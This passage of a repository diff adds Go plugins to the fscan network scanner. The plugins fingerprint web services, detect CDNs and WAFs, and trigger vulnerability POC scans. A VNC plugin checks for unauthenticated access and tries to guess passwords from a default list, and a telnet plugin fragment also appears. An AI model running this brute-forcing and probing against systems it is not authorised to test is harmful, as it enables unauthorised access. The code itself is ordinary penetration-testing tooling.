Service: "telnet",
|
||||
Banner: banner,
|
||||
}
|
||||
}()
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result
|
||||
case <-ctx.Done():
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "telnet",
|
||||
Error: ctx.Err(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("telnet", func() Plugin {
|
||||
return NewTelnetPlugin()
|
||||
}, []int{23, 2323})
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// 插件接口定义 - 统一命名风格
|
||||
type Plugin interface {
|
||||
Name() string
|
||||
Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult
|
||||
}
|
||||
|
||||
type ScanResult = plugins.Result
|
||||
type ExploitResult = plugins.ExploitResult
|
||||
type Exploiter = plugins.Exploiter
|
||||
type Credential = plugins.Credential
|
||||
|
||||
// RegisterPluginWithPorts 高效注册:直接传递端口信息,避免实例创建
|
||||
func RegisterPluginWithPorts(name string, factory func() Plugin, ports []int) {
|
||||
plugins.RegisterWithPorts(name, func() plugins.Plugin {
|
||||
return factory()
|
||||
}, ports)
|
||||
}
|
||||
|
||||
var GenerateCredentials = plugins.GenerateCredentials
|
||||
@@ -0,0 +1,199 @@
|
||||
//go:build plugin_vnc || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
vnc "github.com/mitchellh/go-vnc"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// VNCPlugin VNC扫描插件
|
||||
type VNCPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewVNCPlugin() *VNCPlugin {
|
||||
return &VNCPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("vnc"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *VNCPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
// 检查未授权访问
|
||||
if result := p.testUnauthAccess(ctx, info, config, state); result != nil && result.Success {
|
||||
common.LogSuccess(i18n.Tr("vnc_unauth", target))
|
||||
return result
|
||||
}
|
||||
|
||||
// 生成密码列表
|
||||
var credentials []Credential
|
||||
if config.Credentials.Passwords != nil {
|
||||
for _, pass := range config.Credentials.Passwords {
|
||||
credentials = append(credentials, Credential{Username: "", Password: pass})
|
||||
}
|
||||
} else {
|
||||
defaultPasswords := []string{"123456", "password", "admin", "root", "vnc"}
|
||||
for _, pass := range defaultPasswords {
|
||||
credentials = append(credentials, Credential{Username: "", Password: pass})
|
||||
}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "vnc", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogSuccess(i18n.Tr("vnc_credential", target, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建VNC认证函数
|
||||
func (p *VNCPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doVNCAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doVNCAuth 执行VNC认证
|
||||
func (p *VNCPlugin) doVNCAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
target := info.Target()
|
||||
|
||||
resultChan := make(chan *AuthResult, 1)
|
||||
|
||||
go func() {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyVNCErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
|
||||
|
||||
vncConfig := &vnc.ClientConfig{
|
||||
Auth: []vnc.ClientAuth{
|
||||
&vnc.PasswordAuth{Password: cred.Password},
|
||||
},
|
||||
}
|
||||
|
||||
client, err := vnc.Client(conn, vncConfig)
|
||||
if err != nil {
|
||||
_ = conn.Close()
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyVNCErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
resultChan <- &AuthResult{
|
||||
Success: true,
|
||||
Conn: &vncClientWrapper{client, conn},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
}()
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result
|
||||
case <-ctx.Done():
|
||||
// context 被取消,启动清理协程等待并关闭可能创建的连接
|
||||
go func() {
|
||||
result := <-resultChan
|
||||
if result != nil && result.Conn != nil {
|
||||
_ = result.Conn.Close()
|
||||
}
|
||||
}()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: ctx.Err(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// vncClientWrapper 包装VNC连接以实现io.Closer
|
||||
type vncClientWrapper struct {
|
||||
*vnc.ClientConn
|
||||
conn interface{ Close() error }
|
||||
}
|
||||
|
||||
func (w *vncClientWrapper) Close() error {
|
||||
_ = w.ClientConn.Close()
|
||||
return w.conn.Close()
|
||||
}
|
||||
|
||||
// classifyVNCErrorType VNC错误分类
|
||||
func classifyVNCErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
errStr := strings.ToLower(err.Error())
|
||||
|
||||
vncAuthErrors := []string{
|
||||
"authentication failed",
|
||||
"auth failed",
|
||||
"password",
|
||||
"unauthorized",
|
||||
"access denied",
|
||||
}
|
||||
|
||||
for _, keyword := range vncAuthErrors {
|
||||
if strings.Contains(errStr, keyword) {
|
||||
return ErrorTypeAuth
|
||||
}
|
||||
}
|
||||
|
||||
if strings.Contains(errStr, "too many authentication failures") {
|
||||
return ErrorTypeNetwork
|
||||
}
|
||||
|
||||
return ClassifyError(err, nil, CommonNetworkErrors)
|
||||
}
|
||||
|
||||
func (p *VNCPlugin) testUnauthAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
cred := Credential{Username: "", Password: ""}
|
||||
result := p.doVNCAuth(ctx, info, cred, config, state)
|
||||
|
||||
if result.Success {
|
||||
if result.Conn != nil {
|
||||
_ = result.Conn.Close()
|
||||
}
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Success: true,
|
||||
Service: "vnc",
|
||||
Banner: "未授权访问",
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("vnc", func() Plugin {
|
||||
return NewVNCPlugin()
|
||||
}, []int{5900, 5901, 5902, 5903, 5904, 5905})
|
||||
}
|
||||
@@ -0,0 +1,24 @@
|
||||
package web
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// WebPlugin Web插件接口 - 使用智能HTTP检测,不需要预定义端口
|
||||
type WebPlugin interface {
|
||||
Name() string
|
||||
Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *WebScanResult
|
||||
}
|
||||
|
||||
// WebScanResult Web扫描结果类型别名
|
||||
type WebScanResult = plugins.Result
|
||||
|
||||
// RegisterWebPlugin 注册Web插件 - 自动标记web类型
|
||||
func RegisterWebPlugin(name string, creator func() WebPlugin) {
|
||||
plugins.RegisterWithTypes(name, func() plugins.Plugin {
|
||||
return creator()
|
||||
}, []int{}, []string{plugins.PluginTypeWeb})
|
||||
}
|
||||
@@ -0,0 +1,135 @@
|
||||
//go:build plugin_webpoc || !plugin_selective
|
||||
|
||||
package web
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
WebScan "github.com/shadow1ng/fscan/webscan"
|
||||
)
|
||||
|
||||
// CDN/WAF指纹列表,检测到这些指纹时跳过漏洞扫描
|
||||
// 参考来源: wafw00f (https://github.com/EnableSecurity/wafw00f)
|
||||
var cdnWafFingerprints = []string{
|
||||
// 国际CDN
|
||||
"CloudFlare", "Cloudfront", "Fastly", "Akamai", "KONA",
|
||||
"Incapsula", "Imperva", "Sucuri", "StackPath", "KeyCDN",
|
||||
"MaxCDN", "Edgecast", "Limelight", "CacheFly", "Azion",
|
||||
|
||||
// 国际云WAF
|
||||
"AWSWAF", "AWS-WAF", "AWS ELB", "Azure", "AzureFrontDoor",
|
||||
"GoogleCloud", "GCP", "Armor",
|
||||
|
||||
// 国际硬件/软件WAF
|
||||
"F5-BigIP", "F5BigIP", "Barracuda", "Fortinet", "FortiWeb", "FortiGate",
|
||||
"Palo Alto", "PaloAlto", "Citrix", "NetScaler", "Radware", "AppWall",
|
||||
"Imperva SecureSphere", "ModSecurity", "NAXSI",
|
||||
|
||||
// 国内CDN
|
||||
"阿里云CDN", "阿里云盾", "AliYunDun", "AliCDN",
|
||||
"腾讯云", "QCloud", "腾讯CDN",
|
||||
"百度云", "Baidu", "百度CDN",
|
||||
"华为云", "HuaweiCloud",
|
||||
"七牛", "Qiniu",
|
||||
"网宿", "ChinaNetCenter", "ChinaCache",
|
||||
"蓝汛", "ChinaCache",
|
||||
"又拍云", "Upyun",
|
||||
"白山云", "BaishanCloud",
|
||||
|
||||
// 国内WAF
|
||||
"360网站卫士", "360WAF", "奇安信",
|
||||
"绿盟", "NSFOCUS", "绿盟防火墙",
|
||||
"Topsec-Waf", "天融信",
|
||||
"Safe3", "Safe3WAF",
|
||||
"Safedog", "安全狗",
|
||||
"知道创宇", "Knownsec", "创宇盾",
|
||||
"加速乐", "Jiasule",
|
||||
"云锁", "Yunsuo",
|
||||
"云盾", "Yundun",
|
||||
"玄武盾", "XuanwuDun",
|
||||
"长亭", "Chaitin", "SafeLine",
|
||||
"安恒", "DBAppSecurity",
|
||||
"深信服", "Sangfor",
|
||||
"启明星辰", "Venustech",
|
||||
"山石网科", "Hillstone",
|
||||
"盛邦安全", "WebRAY",
|
||||
|
||||
// 其他通用标识
|
||||
"WAF", "CDN", "Proxy", "Cache", "DDoS-Guard", "AntiDDoS",
|
||||
}
|
||||
|
||||
// cdnWafFingerprintsLower 预转换的小写指纹列表(避免运行时重复转换)
|
||||
var cdnWafFingerprintsLower []string
|
||||
|
||||
func init() {
|
||||
cdnWafFingerprintsLower = make([]string, len(cdnWafFingerprints))
|
||||
for i, fp := range cdnWafFingerprints {
|
||||
cdnWafFingerprintsLower[i] = strings.ToLower(fp)
|
||||
}
|
||||
}
|
||||
|
||||
// WebPocPlugin Web漏洞扫描插件
|
||||
type WebPocPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
// NewWebPocPlugin 创建Web POC插件
|
||||
func NewWebPocPlugin() *WebPocPlugin {
|
||||
return &WebPocPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("webpoc"),
|
||||
}
|
||||
}
|
||||
|
||||
// Scan 执行Web POC扫描
|
||||
// 注意:非全量模式下,POC扫描由webtitle插件在指纹识别后触发,此插件不执行
|
||||
// 全量模式(-full)下,此插件独立执行全量POC扫描
|
||||
func (p *WebPocPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *WebScanResult {
|
||||
if config.POC.Disabled {
|
||||
return &WebScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("POC扫描已禁用"),
|
||||
}
|
||||
}
|
||||
|
||||
// 非全量模式:POC扫描由webtitle触发,此处跳过避免重复
|
||||
if !config.POC.Full {
|
||||
return &WebScanResult{
|
||||
Success: true,
|
||||
Skipped: true,
|
||||
}
|
||||
}
|
||||
|
||||
// 全量模式:忽略指纹和CDN/WAF检测,直接扫描所有POC
|
||||
target := info.Target()
|
||||
common.LogDebug(fmt.Sprintf("WebPOC %s 全量扫描模式", target))
|
||||
WebScan.WebScan(info, config)
|
||||
|
||||
return &WebScanResult{
|
||||
Type: plugins.ResultTypeWeb,
|
||||
Success: true,
|
||||
}
|
||||
}
|
||||
|
||||
// matchCDNorWAF 检查指纹是否匹配CDN/WAF
|
||||
func matchCDNorWAF(fingerprints []string) string {
|
||||
for _, fp := range fingerprints {
|
||||
fpLower := strings.ToLower(fp)
|
||||
for i, cdnLower := range cdnWafFingerprintsLower {
|
||||
if strings.Contains(fpLower, cdnLower) {
|
||||
return cdnWafFingerprints[i] // 返回原始大小写的名称
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// init 自动注册插件
|
||||
func init() {
|
||||
RegisterWebPlugin("webpoc", func() WebPlugin {
|
||||
return NewWebPocPlugin()
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,337 @@
|
||||
//go:build plugin_webtitle || !plugin_selective
|
||||
|
||||
package web
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strings"
|
||||
"unicode/utf8"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/core"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
WebScan "github.com/shadow1ng/fscan/webscan"
|
||||
"github.com/shadow1ng/fscan/webscan/fingerprint"
|
||||
"github.com/shadow1ng/fscan/webscan/lib"
|
||||
)
|
||||
|
||||
// 预编译正则表达式
|
||||
var (
|
||||
titleRegex = regexp.MustCompile(`(?i)<title[^>]*>([^<]+)</title>`)
|
||||
whitespaceRegex = regexp.MustCompile(`\s+`)
|
||||
)
|
||||
|
||||
// WebTitlePlugin Web标题获取插件
|
||||
type WebTitlePlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
// NewWebTitlePlugin 创建WebTitle插件
|
||||
func NewWebTitlePlugin() *WebTitlePlugin {
|
||||
return &WebTitlePlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("webtitle"),
|
||||
}
|
||||
}
|
||||
|
||||
// Scan 执行WebTitle扫描
|
||||
func (p *WebTitlePlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *WebScanResult {
|
||||
target := info.Target()
|
||||
|
||||
title, status, server, fingerprints, err := p.getWebTitle(ctx, info, config)
|
||||
if err != nil {
|
||||
return &WebScanResult{
|
||||
Success: false,
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
msg := fmt.Sprintf("WebTitle %s", target)
|
||||
if title != "" {
|
||||
msg += fmt.Sprintf(" [%s]", title)
|
||||
}
|
||||
if status != 0 {
|
||||
msg += fmt.Sprintf(" %d", status)
|
||||
}
|
||||
if server != "" {
|
||||
msg += fmt.Sprintf(" %s", server)
|
||||
}
|
||||
if len(fingerprints) > 0 {
|
||||
msg += fmt.Sprintf(" %v", fingerprints)
|
||||
}
|
||||
common.LogSuccess(msg)
|
||||
|
||||
return &WebScanResult{
|
||||
Type: plugins.ResultTypeWeb,
|
||||
Success: true,
|
||||
Title: title,
|
||||
Status: status,
|
||||
Server: server,
|
||||
Fingerprints: fingerprints,
|
||||
}
|
||||
}
|
||||
|
||||
func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, config *common.Config) (string, int, string, []string, error) {
|
||||
// 智能协议检测
|
||||
protocol := p.detectProtocol(info, config)
|
||||
baseURL := fmt.Sprintf("%s://%s:%d", protocol, info.Host, info.Port)
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, "GET", baseURL, nil)
|
||||
if err != nil {
|
||||
return "", 0, "", nil, err
|
||||
}
|
||||
|
||||
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
|
||||
|
||||
// 先使用不跟随重定向的Client获取原始响应
|
||||
resp, err := lib.ClientNoRedirect.Do(req)
|
||||
if err != nil {
|
||||
return "", 0, "", nil, err
|
||||
}
|
||||
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
_ = resp.Body.Close()
|
||||
if len(body) <= 0 && err != nil {
|
||||
return "", resp.StatusCode, resp.Header.Get("Server"), nil, err
|
||||
}
|
||||
|
||||
// 收集用于指纹识别的响应数据
|
||||
var checkDataList []WebScan.CheckDatas
|
||||
checkDataList = append(checkDataList, WebScan.CheckDatas{
|
||||
Body: body,
|
||||
Headers: p.formatHeaders(resp.Header),
|
||||
Favicon: p.fetchFaviconHash(baseURL),
|
||||
})
|
||||
|
||||
title := p.extractTitle(string(body))
|
||||
statusCode := resp.StatusCode
|
||||
server := resp.Header.Get("Server")
|
||||
|
||||
// 如果是3xx重定向,跟随重定向获取最终页面的指纹
|
||||
if statusCode >= 300 && statusCode < 400 {
|
||||
location := resp.Header.Get("Location")
|
||||
if location != "" {
|
||||
// 解析重定向URL
|
||||
redirectURL := p.resolveRedirectURL(baseURL, location)
|
||||
if redirectURL != "" {
|
||||
// 发送跟随重定向的请求
|
||||
reqRedirect, err := http.NewRequestWithContext(ctx, "GET", redirectURL, nil)
|
||||
if err == nil {
|
||||
reqRedirect.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
|
||||
respRedirect, err := lib.Client.Do(reqRedirect)
|
||||
if err == nil {
|
||||
bodyRedirect, _ := io.ReadAll(respRedirect.Body)
|
||||
_ = respRedirect.Body.Close()
|
||||
|
||||
if len(bodyRedirect) > 0 {
|
||||
// 添加跳转后页面的指纹数据
|
||||
checkDataList = append(checkDataList, WebScan.CheckDatas{
|
||||
Body: bodyRedirect,
|
||||
Headers: p.formatHeaders(respRedirect.Header),
|
||||
Favicon: p.fetchFaviconHash(redirectURL),
|
||||
})
|
||||
|
||||
// 如果原始页面没有标题,使用跳转后页面的标题
|
||||
if title == "" {
|
||||
title = p.extractTitle(string(bodyRedirect))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 执行指纹识别(合并原始响应和跳转后响应的指纹)
|
||||
fingerprints := p.identifyFingerprintsMulti(info, baseURL, checkDataList, config)
|
||||
|
||||
return title, statusCode, server, fingerprints, nil
|
||||
}
|
||||
|
||||
// resolveRedirectURL 解析重定向URL,处理相对路径
|
||||
func (p *WebTitlePlugin) resolveRedirectURL(baseURL, location string) string {
|
||||
// 如果是绝对URL,直接返回
|
||||
if strings.HasPrefix(location, "http://") || strings.HasPrefix(location, "https://") {
|
||||
return location
|
||||
}
|
||||
|
||||
// 解析基础URL
|
||||
base, err := url.Parse(baseURL)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
// 解析相对路径
|
||||
ref, err := url.Parse(location)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
// 合并URL
|
||||
return base.ResolveReference(ref).String()
|
||||
}
|
||||
|
||||
// identifyFingerprintsMulti 识别多个响应的指纹并合并
|
||||
func (p *WebTitlePlugin) identifyFingerprintsMulti(info *common.HostInfo, baseURL string, checkDataList []WebScan.CheckDatas, config *common.Config) []string {
|
||||
// 调用指纹识别
|
||||
fingerprints := WebScan.InfoCheck(baseURL, &checkDataList)
|
||||
|
||||
// 存入缓存
|
||||
if len(fingerprints) > 0 {
|
||||
core.SetFingerprints(info.Host, info.Port, fingerprints)
|
||||
}
|
||||
|
||||
// 非全量模式下,基于指纹触发POC扫描
|
||||
if !config.POC.Full && !config.POC.Disabled {
|
||||
p.triggerPocScan(info, fingerprints, config)
|
||||
}
|
||||
|
||||
return fingerprints
|
||||
}
|
||||
|
||||
// triggerPocScan 基于指纹触发POC扫描
|
||||
func (p *WebTitlePlugin) triggerPocScan(info *common.HostInfo, fingerprints []string, config *common.Config) {
|
||||
target := info.Target()
|
||||
|
||||
// 无指纹,跳过
|
||||
if len(fingerprints) == 0 {
|
||||
common.LogDebug(fmt.Sprintf("WebTitle %s 无匹配指纹,跳过POC扫描", target))
|
||||
return
|
||||
}
|
||||
|
||||
// 检测CDN/WAF
|
||||
if cdnName := matchCDNorWAF(fingerprints); cdnName != "" {
|
||||
common.LogDebug(fmt.Sprintf("WebTitle %s 检测到%s,跳过POC扫描", target, cdnName))
|
||||
return
|
||||
}
|
||||
|
||||
// 基于指纹执行POC扫描
|
||||
common.LogDebug(fmt.Sprintf("WebTitle %s 触发指纹POC扫描: %v", target, fingerprints))
|
||||
info.Info = fingerprints
|
||||
WebScan.WebScan(info, config)
|
||||
}
|
||||
|
||||
// formatHeaders 将 HTTP Header 格式化为字符串
|
||||
func (p *WebTitlePlugin) formatHeaders(headers http.Header) string {
|
||||
var builder strings.Builder
|
||||
for name, values := range headers {
|
||||
for _, value := range values {
|
||||
builder.WriteString(fmt.Sprintf("%s: %s\n", name, value))
|
||||
}
|
||||
}
|
||||
return builder.String()
|
||||
}
|
||||
|
||||
// detectProtocol 智能检测HTTP/HTTPS协议(基于服务识别和主动探测)
|
||||
func (p *WebTitlePlugin) detectProtocol(info *common.HostInfo, config *common.Config) string {
|
||||
host := info.Host
|
||||
port := info.Port
|
||||
|
||||
serviceInfo, exists := core.GetWebServiceInfo(host, port)
|
||||
|
||||
if exists {
|
||||
// 第一优先级:检查已缓存的协议检测结果
|
||||
if protocol, ok := serviceInfo.Extras["protocol"]; ok {
|
||||
return protocol
|
||||
}
|
||||
|
||||
// 第二优先级:基于服务名称特征判断
|
||||
serviceName := strings.ToLower(serviceInfo.Name)
|
||||
var protocol string
|
||||
if common.ContainsAny(serviceName, "https", "ssl", "tls") {
|
||||
protocol = "https"
|
||||
} else if strings.Contains(serviceName, "http") {
|
||||
protocol = "http"
|
||||
}
|
||||
|
||||
if protocol != "" {
|
||||
// 缓存协议信息到Extras(避免重复判断)
|
||||
if serviceInfo.Extras == nil {
|
||||
serviceInfo.Extras = make(map[string]string)
|
||||
}
|
||||
serviceInfo.Extras["protocol"] = protocol
|
||||
return protocol
|
||||
}
|
||||
}
|
||||
|
||||
// 第三优先级:主动协议检测(TLS握手)
|
||||
detected := core.DetectHTTPScheme(host, port, config)
|
||||
if detected != "" {
|
||||
// 缓存检测结果(避免重复检测)
|
||||
if exists {
|
||||
if serviceInfo.Extras == nil {
|
||||
serviceInfo.Extras = make(map[string]string)
|
||||
}
|
||||
serviceInfo.Extras["protocol"] = detected
|
||||
}
|
||||
return detected
|
||||
}
|
||||
|
||||
// 第四优先级:默认HTTP(fallback)
|
||||
return "http"
|
||||
}
|
||||
|
||||
func (p *WebTitlePlugin) extractTitle(html string) string {
|
||||
matches := titleRegex.FindStringSubmatch(html)
|
||||
|
||||
if len(matches) > 1 {
|
||||
title := strings.TrimSpace(matches[1])
|
||||
title = whitespaceRegex.ReplaceAllString(title, " ")
|
||||
|
||||
if len(title) > 100 {
|
||||
title = title[:100] + "..."
|
||||
}
|
||||
|
||||
if utf8.ValidString(title) {
|
||||
return title
|
||||
}
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
// fetchFaviconHash 下载 favicon.ico 并计算 hash
|
||||
func (p *WebTitlePlugin) fetchFaviconHash(baseURL string) fingerprint.FaviconHashes {
|
||||
// 构造 favicon URL
|
||||
u, err := url.Parse(baseURL)
|
||||
if err != nil {
|
||||
return fingerprint.FaviconHashes{}
|
||||
}
|
||||
faviconURL := fmt.Sprintf("%s://%s/favicon.ico", u.Scheme, u.Host)
|
||||
|
||||
// 请求 favicon
|
||||
req, err := http.NewRequest("GET", faviconURL, nil)
|
||||
if err != nil {
|
||||
return fingerprint.FaviconHashes{}
|
||||
}
|
||||
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
|
||||
|
||||
resp, err := lib.Client.Do(req)
|
||||
if err != nil {
|
||||
return fingerprint.FaviconHashes{}
|
||||
}
|
||||
defer func() { _ = resp.Body.Close() }()
|
||||
|
||||
// 只处理成功响应
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return fingerprint.FaviconHashes{}
|
||||
}
|
||||
|
||||
// 读取 favicon 数据(限制大小防止恶意文件)
|
||||
data, err := io.ReadAll(io.LimitReader(resp.Body, 1<<20)) // 最大 1MB
|
||||
if err != nil || len(data) == 0 {
|
||||
return fingerprint.FaviconHashes{}
|
||||
}
|
||||
|
||||
return fingerprint.CalculateFaviconHashes(data)
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterWebPlugin("webtitle", func() WebPlugin {
|
||||
return NewWebTitlePlugin()
|
||||
})
|
||||
}
|
||||
Reference in New Issue
Block a user